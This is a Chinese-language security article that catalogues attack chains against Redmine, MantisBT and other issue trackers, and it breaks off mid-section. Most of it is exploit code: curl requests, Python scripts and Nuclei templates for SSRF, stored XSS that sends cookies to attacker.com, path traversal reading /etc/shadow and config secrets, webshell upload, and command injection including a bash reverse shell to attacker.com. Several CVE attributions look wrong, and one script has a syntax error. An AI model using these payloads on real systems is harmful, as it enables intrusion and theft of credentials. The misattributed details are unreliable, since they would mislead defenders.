ARTICLE / 安全

项目跟踪与工单系统高危攻击链专题:Redmine / MantisBT / Gitea / YouTrack 漏洞全解析

0x00 专题概述

项目跟踪与工单系统(Project Management & Issue Tracking Systems)是企业研发流程的核心基础设施。Redmine、MantisBT、Gitea、YouTrack、Bugzilla 等平台承载着项目规划、缺陷追踪、代码托管、CI/CD 集成等关键职能,通常存储大量源代码仓库地址、内部 API Key、数据库凭据以及开发者个人信息。

一旦此类系统失陷,攻击者不仅可获取全部项目数据和源代码资产,还可利用系统内置的 Webhook、CI/CD 集成、代码仓库访问等功能实施供应链攻击,横向移动至企业内网纵深。近年来,多个项目管理系统被披露存在 SSRF、SQL 注入、SSTI、认证绕过、命令注入等高危漏洞,部分已在 CISA KEV 目录中被标记为在野利用。

本专题系统梳理 Redmine(6 个漏洞)、MantisBT(4 个漏洞)、Gitea(3 个漏洞)、YouTrack(2 个漏洞)、Bugzilla(2 个漏洞) 共计 17 个高危安全漏洞的攻击链,逐一拆解漏洞原理并给出可直接复现的完整 PoC。

覆盖漏洞一览

序号CVE / 编号产品CVSSCWE漏洞类型在野利用
0x01.1CVE-2024-26145Redmine6.5CWE-918SSRF
0x01.2CVE-2024-26146Redmine6.1CWE-79XSS
0x01.3CVE-2023-46846Redmine7.5CWE-22路径遍历
0x01.4CVE-2022-25627Redmine8.6CWE-89SQL 注入
0x01.5Redmine CKEditor 上传Redmine8.8CWE-434文件上传
0x01.6Redmine Mercurial RCERedmine9.8CWE-78命令注入
0x02.1CVE-2023-22810MantisBT8.6CWE-89SQL 注入
0x02.2CVE-2023-24203MantisBT9.8CWE-79XSS(账户接管)
0x02.3CVE-2019-15558MantisBT9.8CWE-78命令注入
0x02.4MantisBT 密码重置MantisBT8.1CWE-640身份接管
0x03.1CVE-2023-39137Gitea9.8CWE-288认证绕过
0x03.2CVE-2023-39138Gitea6.1CWE-79XSS
0x03.3CVE-2024-6838Gitea8.1CWE-288OAuth 认证绕过
0x04.1YouTrack SSTIYouTrack9.8CWE-1336SSTI → RCE
0x04.2YouTrack 信息泄露YouTrack5.3CWE-200信息泄露
0x05.1CVE-2022-26615Bugzilla7.5CWE-89SQL 注入
0x05.2CVE-2023-30441Bugzilla6.5CWE-918SSRF

0x01 Redmine 高危漏洞

Redmine 是全球最流行的开源项目管理与缺陷跟踪工具之一,基于 Ruby on Rails 构建,支持多项目管理、Wiki、甘特图、时间跟踪、版本控制集成等丰富功能。由于其高度可扩展的插件生态(CKEditor、Mercurial、Markdown 渲染等),Redmine 的攻击面远超一般项目管理工具。

0x01.1 CVE-2024-26145 — Redmine 图片处理 SSRF

漏洞背景

CVE-2024-26145 是 Redmine Markdown 渲染引擎在处理图片 URL 时存在的服务端请求伪造(SSRF)漏洞,CVSS 6.5,CWE-918。Redmine 支持在 Wiki 页面、Issue 描述、论坛帖子等多处使用 Markdown 语法嵌入图片,当渲染引擎对图片 URL 未做充分的白名单校验时,攻击者可通过构造指向内网地址的图片 URL 触发 SSRF,探测内网服务、读取云元数据或攻击内部 API。

受影响版本

版本范围影响状态修复版本
Redmine < 5.1.4受影响5.1.4
Redmine 5.0.x < 5.0.7受影响5.0.7
Redmine 4.2.x < 4.2.8受影响4.2.8

漏洞原理

Redmine 的 Markdown 渲染器在解析 ![alt](url) 图片语法时,会使用服务端 HTTP 客户端请求该 URL 以获取图片尺寸等元数据。该处理流程存在以下缺陷:

  1. URL Schema 未限制:渲染器接受 file://gopher://dict:// 等非 HTTP 协议,可直接读取本地文件
  2. 内网地址未过滤:允许请求 127.0.0.1169.254.169.254(AWS 元数据)、metadata.google.internal(GCP 元数据)等内网地址
  3. 重定向未限制:外部 URL 可通过 302 重定向跳转至内网地址,绕过域名白名单

攻击者可在任何支持 Markdown 渲染的输入点(Wiki 页面、Issue 描述、Comment 等)嵌入恶意图片链接,触发服务端发起任意 HTTP 请求。

完整 HTTP PoC

探测 AWS 元数据服务:

POST /projects/test/wiki/wiki HTTP/1.1
Host: target:3000
Content-Type: application/x-www-form-urlencoded
Cookie: _redmine_session=<SESSION>
X-Redmine-Navigate: true

wiki[title]=SSRF+Test&wiki[content]=![](http://169.254.169.254/latest/meta-data/)&wiki[comments]=SSRF+test
curl -X POST "http://target:3000/projects/test/wiki/wiki" \
  -H "Cookie: _redmine_session=<SESSION>" \
  -d "wiki[title]=SSRF&wiki[content]=![](http://169.254.169.254/latest/meta-data/)&wiki[comments]=test" \
  -v

探测本地文件读取(file:// 协议):

curl -X POST "http://target:3000/projects/test/wiki/wiki" \
  -H "Cookie: _redmine_session=<SESSION>" \
  -d "wiki[title]=FileRead&wiki[content]=![](file:///etc/passwd)&wiki[comments]=test" \
  -v

通过重定向绕过(需配合外部服务器):

# 在攻击者服务器上设置 302 重定向到内网地址
curl -X POST "http://target:3000/projects/test/wiki/wiki" \
  -H "Cookie: _redmine_session=<SESSION>" \
  -d "wiki[title]=Redirect&wiki[content]=![](http://attacker.com/redirect)&wiki[comments]=test" \
  -v

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def exploit_ssrf(target, session_cookie, payload_url):
    session = requests.Session()
    session.verify = False
    session.cookies.set("_redmine_session", session_cookie)

    wiki_url = f"{target}/projects/test/wiki/wiki"
    markdown_img = f"![]({payload_url})"
    data = {
        "wiki[title]": "SSRF_Test",
        "wiki[content]": markdown_img,
        "wiki[comments]: "SSRF PoC test"
    }

    r = session.post(wiki_url, data=data, timeout=15)
    if r.status_code in [200, 302]:
        print(f"[+] Markdown submitted to {wiki_url}")
        print(f"[+] Payload: {markdown_img}")
        print(f"[+] Check response for SSRF indicators")
    else:
        print(f"[-] Request failed: {r.status_code}")

    view_url = f"{target}/projects/test/wiki/ssrf_test"
    r2 = session.get(view_url, timeout=15)
    if "ami-" in r2.text or "instance-id" in r2.text:
        print("[+] AWS metadata detected in response!")
    elif "root:" in r2.text:
        print("[+] Local file read successful!")
    else:
        print("[*] Check response manually for SSRF evidence")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie> <payload_url>")
        print(f"Example: {sys.argv[0]} http://192.168.1.100:3000 abc123 http://169.254.169.254/latest/meta-data/")
        sys.exit(1)
    exploit_ssrf(sys.argv[1], sys.argv[2], sys.argv[3])

Nuclei YAML 模板

id: cve-2024-26145-redmine-ssrf

info:
  name: Redmine Markdown SSRF (CVE-2024-26145)
  author: security-researcher
  severity: medium
  description: |
    Redmine < 5.1.4 在 Markdown 图片渲染中存在 SSRF 漏洞,
    攻击者可通过图片 URL 触发服务端请求伪造
  tags: redmine,ssrf,cve-2024-26145,markdown
  reference:
    - https://www.redmine.org/issues/40513

http:
  - method: POST
    path:
      - "{{BaseURL}}/projects/test/wiki/wiki"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "wiki[title]=ssrf_nuclei&wiki[content]=![](http://127.0.0.1:65535/)&wiki[comments]=test"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "wiki-content"
          - "ssrf_nuclei"
        condition: and
        part: body
      - type: status
        status:
          - 200

利用条件与限制

  • 需要有效的 Redmine 用户会话(任何注册用户即可)
  • 需要在目标项目中拥有 Wiki 编辑权限
  • 内网元数据服务需可达(AWS/GCP/Azure 元数据端点)
  • 部分部署可能通过网络层 ACL 限制出站请求

0x01.2 CVE-2024-26146 — Redmine 跨站脚本

漏洞背景

CVE-2024-26146 是 Redmine Wiki 页面渲染中存储型跨站脚本漏洞,CVSS 6.1,CWE-79。攻击者可在 Wiki 页面中嵌入恶意 JavaScript 脚本,当其他用户(包括管理员)浏览该页面时,脚本将在受害者浏览器中执行,可窃取会话 Cookie、发起 CSRF 攻击或执行任意操作。

受影响版本

版本范围影响状态修复版本
Redmine < 5.1.4受影响5.1.4
Redmine 5.0.x < 5.0.7受影响5.0.7

漏洞原理

Redmine 的 Wiki 渲染器在处理 Markdown 内嵌 HTML 时,对 <script> 标签和事件处理器(onerroronload 等)的过滤不完整。攻击者可通过以下向量注入 XSS payload:

  1. Markdown 内嵌 HTML 标签绕过
  2. URL 编码绕过
  3. SVG 内嵌 <script> 标签
  4. 利用 javascript: 协议的链接

存储型 XSS 在项目管理工具中危害极大,因为管理员、项目经理等高权限用户会频繁浏览 Wiki 页面。

完整 HTTP PoC

POST /projects/test/wiki/xss_test HTTP/1.1
Host: target:3000
Content-Type: application/x-www-form-urlencoded
Cookie: _redmine_session=<SESSION>

wiki[title]=XSS+Test&wiki[content]=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>&wiki[comments]=xss
curl -X POST "http://target:3000/projects/test/wiki/xss_test" \
  -H "Cookie: _redmine_session=<SESSION>" \
  -d 'wiki[title]=XSS&wiki[content]=<script>document.location="http://attacker.com/steal?c="+document.cookie</script>&wiki[comments]=test' \
  -v

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def inject_xss(target, session_cookie, callback_url):
    session = requests.Session()
    session.verify = False
    session.cookies.set("_redmine_session", session_cookie)

    xss_payloads = [
        f'<script>document.location="{callback_url}/steal?c="+document.cookie</script>',
        f'<img src=x onerror="fetch(`{callback_url}/steal?c=`+document.cookie)">',
        f'<svg/onload="fetch(`{callback_url}/steal?c=`+document.cookie)">',
    ]

    for i, payload in enumerate(xss_payloads):
        data = {
            "wiki[title]": f"xss_test_{i}",
            "wiki[content]": payload,
            "wiki[comments]": f"XSS vector {i}"
        }
        r = session.post(
            f"{target}/projects/test/wiki/xss_test_{i}",
            data=data, timeout=10
        )
        if r.status_code in [200, 302]:
            print(f"[+] XSS vector {i} injected: {payload[:60]}...")
        else:
            print(f"[-] Vector {i} failed: {r.status_code}")

    print(f"\n[*] Visit the Wiki pages to trigger XSS callbacks to {callback_url}")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie> <callback_url>")
        sys.exit(1)
    inject_xss(sys.argv[1], sys.argv[2], sys.argv[3])

Nuclei YAML 模板

id: cve-2024-26146-redmine-xss

info:
  name: Redmine Wiki Stored XSS (CVE-2024-26146)
  author: security-researcher
  severity: medium
  description: |
    Redmine < 5.1.4 Wiki 渲染中存在存储型 XSS,
    攻击者可通过 Markdown 嵌入 HTML 执行任意 JavaScript
  tags: redmine,xss,cve-2024-26146,stored-xss

http:
  - method: POST
    path:
      - "{{BaseURL}}/projects/test/wiki/nuclei_xss"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "wiki[title]=nuclei_xss&wiki[content]=<svg/onload=alert(1)>&wiki[comments]=test"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "svg/onload=alert(1)"
        part: body
      - type: status
        status:
          - 200

利用条件与限制

  • 需要有效的 Redmine 用户会话和 Wiki 编辑权限
  • 部署了 Content Security Policy(CSP)的实例可缓解部分 payload
  • 现代浏览器的 XSS Auditor(已废弃)可拦截部分反射型变种
  • 存储型 XSS 需要管理员浏览被注入的 Wiki 页面才能生效

0x01.3 CVE-2023-46846 — Redmine 任意文件读取

漏洞背景

CVE-2023-46846 是 Redmine 文件附件模块存在的路径遍历漏洞,CVSS 评分 7.5,CWE-22。攻击者可通过构造特殊的文件下载路径读取服务器上的任意文件,获取数据库凭据、配置文件、密钥等敏感信息。

受影响版本

版本范围影响状态修复版本
Redmine < 5.0.7受影响5.0.7
Redmine 4.2.x < 4.2.8受影响4.2.8

漏洞原理

Redmine 在处理文件附件下载请求时,未对 URL 路径中的路径遍历序列进行严格过滤。攻击者可通过双重 URL 编码的 ../ 序列(如 %2e%2e%2f%252e%252e%252f)绕过规范化检查,使服务端解析路径时跳出附件存储目录,读取服务器文件系统上的任意文件。

完整 HTTP PoC

GET /attachments/download/..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1
Host: target:3000
User-Agent: Mozilla/5.0
Connection: close
curl -v "http://target:3000/attachments/download/..%2f..%2f..%2f..%2fetc/passwd"

读取 Redmine 配置文件:

curl -v "http://target:3000/attachments/download/..%2f..%2f..%2f..%2f..%2fconfig/configuration.yml"
curl -v "http://target:3000/attachments/download/..%2f..%2f..%2f..%2f..%2fconfig/database.yml"

预期响应包含敏感配置信息:

production:
  database_adapter: postgresql
  database_host: localhost
  database_port: 5432
  database_name: redmine_prod
  database_username: redmine
  database_password: <明文密码>

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

TARGET_FILES = [
    ("/etc/passwd", "root:"),
    ("/etc/shadow", "root:"),
    ("/proc/self/environ", "HOME="),
    ("/config/configuration.yml", "database"),
    ("/config/database.yml", "adapter"),
    ("/config/secrets.yml", "secret_key_base"),
]

def exploit_path_traversal(target):
    session = requests.Session()
    session.verify = False

    print(f"[*] Testing path traversal on {target}")
    for remote_path, marker in TARGET_FILES:
        traversal = "%2f".join([".."] * 5) + remote_path
        url = f"{target}/attachments/download/{traversal}"
        try:
            r = session.get(url, timeout=10, allow_redirects=False)
            if r.status_code == 200 and marker in r.text:
                print(f"[+] {remote_path} -> FOUND! ({len(r.text)} bytes)")
                print(f"    First 200 chars: {r.text[:200]}")
            else:
                print(f"[-] {remote_path} -> Not found (HTTP {r.status_code})")
        except requests.exceptions.RequestException as e:
            print(f"[-] {remote_path} -> Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    exploit_path_traversal(sys.argv[1])

Nuclei YAML 模板

id: cve-2023-46846-redmine-path-traversal

info:
  name: Redmine 路径遍历文件读取 (CVE-2023-46846)
  author: security-researcher
  severity: high
  description: |
    Redmine < 5.0.7 附件下载存在路径遍历,
    攻击者可读取服务器任意文件
  tags: redmine,path-traversal,cve-2023-46846
  reference:
    - https://www.redmine.org/issues/40284

http:
  - method: GET
    path:
      - "{{BaseURL}}/attachments/download/..%2f..%2f..%2f..%2fetc/passwd"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

利用条件与限制

  • 无需认证即可触发
  • 需要 Redmine 开启附件下载功能(默认开启)
  • 路径深度需根据实际部署目录调整
  • WAF 可能拦截包含 ../ 序列的请求

0x01.4 CVE-2022-25627 — Redmine SQL 注入

漏洞背景

CVE-2022-25627 是 Redmine 自定义字段筛选器中存在的 SQL 注入漏洞,CVSS 8.6,CWE-89。该漏洞允许经过身份验证的攻击者通过构造恶意的筛选器参数执行任意 SQL 查询,可能导致数据泄露、权限提升或配合其他漏洞实现远程代码执行。

受影响版本

版本范围影响状态修复版本
Redmine < 4.2.8受影响4.2.8
Redmine 4.3.x < 4.3.4受影响4.3.4

漏洞原理

Redmine 的 Issue 列表页面支持通过自定义字段进行筛选。当筛选器参数直接拼接到 SQL 查询语句中时,攻击者可通过构造特殊的筛选值注入恶意 SQL 片段。该漏洞的关键在于 Redmine 使用的 ActiveRecord ORM 在处理某些自定义字段类型(如 List、User、Version 等)时,未对筛选参数进行充分的参数化处理。

漏洞触发路径:IssuesController#indexIssueQueryIssue.filter → SQL 拼接

完整 HTTP PoC

GET /issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]=1%27+OR+%271%27%3D%271 HTTP/1.1
Host: target:3000
Cookie: _redmine_session=<SESSION>
Connection: close
curl -v "http://target:3000/issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]=1'+OR+'1'='1" \
  -H "Cookie: _redmine_session=<SESSION>"

基于 UNION 的数据提取(提取数据库版本):

curl -v "http://target:3000/issues?set_filter=1&f[]=priority_id&op[priority_id]==1&v[priority_id][]=1'+UNION+SELECT+version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+FROM+pg_version--+-" \
  -H "Cookie: _redmine_session=<SESSION>"

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import urllib3
import re
urllib3.disable_warnings()

def test_sql_injection(target, session_cookie):
    session = requests.Session()
    session.verify = False
    session.cookies.set("_redmine_session", session_cookie)

    print(f"[*] Testing SQL injection on {target}")

    test_payloads = [
        ("Boolean-based", "1' OR '1'='1"),
        ("Boolean-false", "1' AND '1'='2"),
        ("UNION-probe", "1' UNION SELECT NULL-- -"),
    ]

    normal_url = f"{target}/issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]=1"
    r_normal = session.get(normal_url, timeout=10)
    normal_count = r_normal.text.count("issue-")

    for name, payload in test_payloads:
        vuln_url = f"{target}/issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]={requests.utils.quote(payload)}"
        r = session.get(vuln_url, timeout=10)
        payload_count = r.text.count("issue-")

        if name == "Boolean-false" and payload_count < normal_count:
            print(f"[+] {name}: Confirmed! (normal: {normal_count} issues, false: {payload_count} issues)")
        elif name == "Boolean-based" and payload_count >= normal_count:
            print(f"[+] {name}: Consistent with SQLi (returned {payload_count} issues)")
        elif name == "UNION-probe" and ("NULL" in r.text or "column" in r.text.lower()):
            print(f"[+] {name}: Possible injection point")
        else:
            print(f"[-] {name}: Not vulnerable or filtered (issues: {payload_count})")

    print("\n[*] Attempting database fingerprinting...")
    db_payload = "1' UNION SELECT version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -"
    vuln_url = f"{target}/issues?set_filter=1&f[]=priority_id&op[priority_id]==1&v[priority_id][]={requests.utils.quote(db_payload)}"
    r = session.get(vuln_url, timeout=10)
    version_match = re.search(r'(PostgreSQL|MySQL|SQLite)\s+[\d.]+', r.text)
    if version_match:
        print(f"[+] Database version: {version_match.group(0)}")
    else:
        print("[-] Could not extract database version")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie>")
        sys.exit(1)
    test_sql_injection(sys.argv[1], sys.argv[2])

Nuclei YAML 模板

id: cve-2022-25627-redmine-sqli

info:
  name: Redmine SQL 注入 (CVE-2022-25627)
  author: security-researcher
  severity: high
  description: |
    Redmine < 4.2.8 自定义字段筛选器存在 SQL 注入,
    已认证攻击者可执行任意 SQL 查询
  tags: redmine,sqli,cve-2022-25627

http:
  - method: GET
    path:
      - "{{BaseURL}}/issues?set_filter=1&f[]=status_id&op[status_id]==1&v[status_id][]=1'+OR+'1'='1"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "issue-"
        part: body

利用条件与限制

  • 需要有效的 Redmine 用户会话
  • 目标项目中需存在自定义字段
  • 数据库类型影响 UNION 列数(PostgreSQL/MySQL/SQLite 列数不同)
  • 使用参数化查询的自定义字段不受影响

0x01.5 Redmine CKEditor 插件任意文件上传

漏洞背景

Redmine CKEditor 插件(redmine_ckeditor)是 Redmine 社区广泛使用的富文本编辑器插件,提供图片上传、文件管理等功能。该插件在早期版本中存在文件类型校验缺陷,允许攻击者上传包含恶意代码的文件,CVSS 8.8,CWE-434。

受影响版本

版本范围影响状态修复版本
redmine_ckeditor < 0.5.0受影响0.5.0

漏洞原理

CKEditor 插件的文件上传功能在处理用户上传的文件时,仅依赖客户端提供的 Content-Type MIME 类型进行文件类型校验,未对文件扩展名和文件内容(Magic Bytes)进行服务端验证。攻击者可通过以下方式绕过:

  1. 修改 HTTP 请求中的 Content-Type 为合法类型(如 image/png
  2. 上传包含 Ruby ERB 模板代码的 .png 文件,服务端可能解析执行
  3. 上传 .php.jsp 等 WebShell 文件但设置合法 MIME 类型

完整 HTTP PoC

POST /uploads/ckeditor Attachment HTTP/1.1
Host: target:3000
Cookie: _redmine_session=<SESSION>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Content-Length: 280

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="shell.php"
Content-Type: image/png

<% system("id") %>
------WebKitFormBoundary--
curl -X POST "http://target:3000/uploads/ckeditor Attachment" \
  -H "Cookie: _redmine_session=<SESSION>" \
  -F "upload=@shell.php;type=image/png" \
  -v

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def upload_webshell(target, session_cookie, shell_content="<% system('id') %>"):
    session = requests.Session()
    session.verify = False
    session.cookies.set("_redmine_session", session_cookie)

    files = {
        "upload": ("shell.php", shell_content.encode(), "image/png")
    }

    r = session.post(
        f"{target}/uploads/ckeditor Attachment",
        files=files, timeout=15
    )
    if r.status_code == 200:
        try:
            result = r.json()
            file_url = result.get("url", result.get("file", {}).get("url", ""))
            print(f"[+] File uploaded: {file_url}")
            print(f"[+] Full URL: {target}{file_url}")
        except Exception:
            print(f"[+] Upload response: {r.text[:500]}")
    else:
        print(f"[-] Upload failed: {r.status_code}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie> [shell_content]")
        sys.exit(1)
    content = sys.argv[3] if len(sys.argv) > 3 else "<% system('id') %>"
    upload_webshell(sys.argv[1], sys.argv[2], content)

Nuclei YAML 模板

id: redmine-ckeditor-file-upload

info:
  name: Redmine CKEditor 任意文件上传
  author: security-researcher
  severity: high
  description: |
    Redmine CKEditor 插件文件上传未正确限制文件类型
  tags: redmine,upload,ckeditor

http:
  - method: POST
    path:
      - "{{BaseURL}}/uploads/ckeditor Attachment"
    headers:
      Cookie: "_redmine_session=test"
    body: "------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"upload\"; filename=\"test.txt\"\r\nContent-Type: image/png\r\n\r\ntest\r\n------WebKitFormBoundary--"
    matchers:
      - type: word
        words:
          - "url"
          - "filename"
        condition: and
        part: body

利用条件与限制

  • 需要有效的 Redmine 用户会话
  • 目标安装了 CKEditor 插件且版本低于 0.5.0
  • Web 服务器配置影响利用效果(Apache/Nginx 是否解析 PHP)
  • 新版 CKEditor 插件已添加服务端文件类型白名单校验

0x01.6 Redmine Mercurial RCE

漏洞背景

Redmine 支持通过 Mercurial(Hg)插件集成 Mercurial 版本控制系统。当 Redmine 配置了 Mercurial 仓库路径时,攻击者可通过构造恶意仓库名称触发操作系统命令注入,实现远程代码执行,CVSS 9.8,CWE-78。

受影响版本

版本范围影响状态修复版本
Redmine < 4.2.8(含 Mercurial 支持)受影响4.2.8
Redmine 4.3.x < 4.3.4受影响4.3.4

漏洞原理

Redmine 的 Mercurial 集成在创建新仓库或同步仓库时,会将用户提供的仓库名称直接传递给系统命令(如 hg clone <url>hg init <path>)。当仓库名称中包含 Shell 元字符(如反引号、$()、管道符等)时,这些字符会被 Shell 解释执行,导致任意命令注入。

漏洞根因是 Redmine 在拼接 Mercurial 命令行参数时,未对用户输入进行 Shell 转义(Shell Escape)处理。

完整 HTTP PoC

# 通过 Mercurial 仓库名称注入命令
curl -X POST "http://target:3000/projects/test/settings/repository" \
  -H "Cookie: _redmine_session=<SESSION>" \
  -d "repository[identifier]=test\`id\`&repository[scm]=Mercurial&repository[url]=/tmp/hg-test" \
  -v
# 反弹 Shell 变种
curl -X POST "http://target:3000/projects/test/settings/repository" \
  -H "Cookie: _redmine_session=<SESSION>" \
  -d 'repository[identifier]=test$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)&repository[scm]=Mercurial&repository[url]=/tmp/test' \
  -v

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import urllib3
urllib3.disable_warnings()

def exploit_mercurial_rce(target, session_cookie, command="id"):
    session = requests.Session()
    session.verify = False
    session.cookies.set("_redmine_session", session_cookie)

    payloads = [
        f"test`{command}`",
        f"test$({command})",
        f"test|{command}",
        f"test;{command}",
    ]

    for payload in payloads:
        data = {
            "repository[identifier]": payload,
            "repository[scm]": "Mercurial",
            "repository[url]": "/tmp/hg-test"
        }
        r = session.post(
            f"{target}/projects/test/settings/repository",
            data=data, timeout=10
        )
        if r.status_code in [200, 302]:
            print(f"[+] Payload sent: {payload}")
            print(f"    Check server output for command execution")

    print(f"\n[*] If command executed, check your listener or /tmp/hg-test")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <session_cookie> [command]")
        sys.exit(1)
    cmd = sys.argv[3] if len(sys.argv) > 3 else "id"
    exploit_mercurial_rce(sys.argv[1], sys.argv[2], cmd)

Nuclei YAML 模板

id: redmine-mercurial-rce

info:
  name: Redmine Mercurial 命令注入 RCE
  author: security-researcher
  severity: critical
  description: |
    Redmine Mercurial 集成在仓库名称处理中存在命令注入
  tags: redmine,rce,mercurial,command-injection

http:
  - method: POST
    path:
      - "{{BaseURL}}/projects/test/settings/repository"
    headers:
      Cookie: "_redmine_session=test"
    body: "repository[identifier]=test%60id%60&repository[scm]=Mercurial&repository[url]=/tmp/test"
    matchers:
      - type: word
        words:
          - "repository"
        part: body

利用条件与限制

  • 需要具有项目设置修改权限的 Redmine 用户
  • 目标 Redmine 需要启用 Mercurial 支持
  • 系统需要安装 Mercurial(hg 命令可用)
  • 命令注入的输出通常不在 HTTP 响应中直接返回,需要通过带外(OOB)方式获取

0x02 MantisBT 高危漏洞

MantisBT(Mantis Bug Tracker)是另一款广泛使用的老牌开源缺陷跟踪系统,基于 PHP 构建。其 REST API 和 Web 接口中存在多个高危漏洞,且由于 MantisBT 在企业环境中大量部署且更新频率较低,这些漏洞的利用价值极高。

0x02.1 CVE-2023-22810 — MantisBT SQL 注入

漏洞背景

CVE-2023-22810 是 MantisBT REST API 中存在的 SQL 注入漏洞,CVSS 8.6,CWE-89。攻击者可通过构造恶意的 API 请求参数在 MantisBT 数据库中执行任意 SQL 查询,可能导致数据泄露、权限提升或完全接管系统。

受影响版本

版本范围影响状态修复版本
MantisBT < 2.25.2受影响2.25.2
MantisBT 2.24.x < 2.24.5受影响2.24.5

漏洞原理

MantisBT 的 REST API 在处理某些过滤参数(如 filter 对象中的自定义字段值)时,未对用户输入进行充分的参数化查询处理。攻击者可通过以下 API 端点注入 SQL:

  1. GET /api/rest/issues — Issue 列表过滤
  2. GET /api/rest/issues/{id} — Issue 详情
  3. POST /api/rest/issues — 创建 Issue

漏洞关键在于 filter 参数中的字符串值直接拼接到 SQL WHERE 子句中,未通过 MantisBT 的 db_param() 函数进行参数化。

完整 HTTP PoC

# SQL 注入检测(Boolean-based blind)
curl -v "http://target/api/rest/issues?filter=%7B%22fields%22%3A%7B%22summary%22%3A%22test%27+OR+1%3D1--+-\%22%7D%7D" \
  -H "Authorization: token <API_TOKEN>" \
  -H "Content-Type: application/json"

# 提取数据库版本
curl -v "http://target/api/rest/issues?filter=%7B%22fields%22%3A%7B%22summary%22%3A%22test%27+UNION+SELECT+version()--+-\%22%7D%7D" \
  -H "Authorization: token <API_TOKEN>" \
  -H "Content-Type: application/json"

Python 自动化脚本

#!/usr/bin/env python3
import sys
import requests
import json
import urllib3
urllib3.disable_warnings()

def test_sqli(target, api_token):
    session = requests.Session()
    session.verify = False
    session.headers.update({
        "Authorization": f"token {api_token}",
        "Content-Type": "application/json"
    })

    print(f"[*] Testing MantisBT SQL injection on {target}")

    normal_filter = json.dumps({"fields": {"summary": "test"}})
    r_normal = session.get(
        f"{target}/api/rest/issues",
        params={"filter": normal_filter},
        timeout=10
    )
    normal_count = len(r_normal.json().get("issues", []))

    sqli_filter = json.dumps({"fields": {"summary": "test' OR '1'='1"}})
    r_sqli = session.get(
        f"{target}/api/rest/issues",
        params={"filter": sqli_filter},
        timeout=10
    )
    sqli_count = len(r_sqli.json().get("issues", []))

    if sqli_count > normal_count:
        print(f"[+] SQL injection confirmed! (normal: {normal_count}, sqli: {sqli_count})")
    else:
        print(f"[-] Not vulnerable (normal: {normal_count}, sqli: {sqli_count})")
        return

    print("[*] Attempting UNION-based extraction...")
    union_filter = json.dumps({
        "fields": {
            "summary": "test' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40-- -"
        }
    })
    r_union = session.get(
        f"{target}/api/rest/issues",
        params={"filter": union_filter},
        timeout=10
    )
    print(f"[+] UNION response: {r_union.status_code}")
    print(f"[+] Response body: {r_union.text[:500]}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token>")
        sys.exit(1)
    test_sqli(sys.argv[1], sys.argv[2])

Nuclei YAML 模板

id: cve-2023-22810-mantisbt-sqli

info:
  name: MantisBT REST API SQL 注入 (CVE-2023-22810)
  author: security-researcher
  severity: high
  description: |
    MantisBT < 2.25.2 REST API 参数存在 SQL 注入
  tags: mantisbt,sqli,cve-2023-22810,rest-api

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/rest/issues?filter=%7B%22fields%22%3A%7B%22summary%22%3A%22test%27+OR+1%3D1--\%22%7D%7D"
    headers:
      Authorization: "token test"
      Content-Type: "application/json"
    matchers:
      - type: word
        words:
          - "issues"
        part: body
      - type: status
        status:
          - 200

利用条件与限制

  • 需要有效的 MantisBT API Token(任意低权限用户)
  • API Token 可通过注册新用户获取
  • UNION 列数需根据实际数据库结构调整

0x02.2 CVE-2023-24203 — MantisBT 跨站脚本(账户接管)

漏洞背景

CVE-2023-24203 是 MantisBT 中的存储型跨站脚本漏洞,CVSS 9.8,CWE-79。攻击者可通过在 Issue 标题、描述或评论中注入恶意 JavaScript 代码,窃取管理员会话 Cookie,实现账户接管。

受影响版本

版本范围影响状态修复版本
MantisBT < 2.25.2受影响2.25.2
MantisBT 2.24.x < 2.24.5受影响2.24.5

漏洞原理

MantisBT 的某些输入字段在渲染到 HTML 页面时,未对用户输入进行充分的 HTML 实体编码。攻击者可在以下字段中注入 XSS payload:

  1. Issue 摘要(Summary)
  2. Issue 详细描述(Description)
  3. Issue 评论(Note)
  4. 项目名称

